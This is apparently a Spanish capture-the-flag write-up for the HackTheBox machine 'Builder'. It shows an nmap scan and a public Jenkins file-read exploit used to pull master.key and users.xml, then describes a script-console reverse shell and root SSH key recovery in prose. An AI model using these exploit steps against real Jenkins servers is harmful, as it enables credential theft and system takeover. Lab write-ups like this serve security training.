Builder HackTheBox
Escaneo de puertos
nmap -p- --min-rate 5000 -sV <IP>Puerto 8080
Si analizamos las credenciales desde la pagina vemos que hay 2 usuarios anonymous y jennifer, pero nos interesa el usuario jennifer...
Dentro de este puerto encontraremos una pagina Jenkins la cual tiene una version vulnerable por un exploit, cogemos ese exploit en la siguiente URL...
URL: https://www.exploit-db.com/exploits/51993
Nos lo descargamos y si ponemos lo siguiente con este exploit...
python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/secrets/master.keyInfo:
3e3a8909d274de18b90e8d41789423c041dae2b1132514ac43b9714d62305dfba277b5bcec3a06339d9f111e902b64d063bf2eb322eb641edb846e6c019c95cbc38b849fcc2085d5f220c5b6e5468f97d0397502c6afc5a9a1375d346cd0adf08ebc377f48124b9422e91beb5596cdecd72886d7c7e3816a8c488e0270394347Este hash lo veremos mas adelante...
Mientras tanto vamos a lo importante haciendo lo siguiente...
python3 51993.py -u http://<IP>:8080/ -p /var/jenkins_home/users/users.xmlInfo:
<?xml version='1.1' encoding='UTF-8'?>
<string>jennifer_12108429903186576833</string>
<idToDirectoryNameMap class="concurrent-hash-map">
<entry>
<string>jennifer</string>
<version>1</version>
</hudson.model.UserIdMapper>
</idToDirectoryNameMap>
<hudson.model.UserIdMapper>
</entry>Viendo que la home de jennifer es jennifer_12108429903186576833 hacemos lo siguiente...
Info:
Por lo que se ve el usuario es jennifer y la password es un hash, para crackear ese hash hacemos lo siguiente...
Info:
Con estas credenciales nos conectamos a la pagina de jenkins y dentro de la sesion con jennifer hacemos lo siguiente...
Nos vamos a manage de ahi le damos a script console y dentro de esa especie de texto plano introducimos una Reverse Shell de la siguiente manera...
Y seriamos el usuario Jenkins, sanitizamos la shell...
Tendriamos la shell perfecta ya, pero por lo que vemos estamos en un doker por lo que vemos aqui...
Si vamos al siguiente archivo llamado credentials.xml y lo leemos...
Y esa key de root si hacemos lo siguiente para desencriptar esa key tendriamos que ir a la pagina de Jenkins, dirigirnos a la seccion de /Manage Jenkins/Script Console y dentro de este panel debemos de escribir lo siguiente...
Y esto nos da lo siguiente...
Esto es una id_rsa privada de root, por lo que haremos lo siguiente...
Por lo que ya seriamos root y leemos la flag...
root.txt (flag2)
Last updated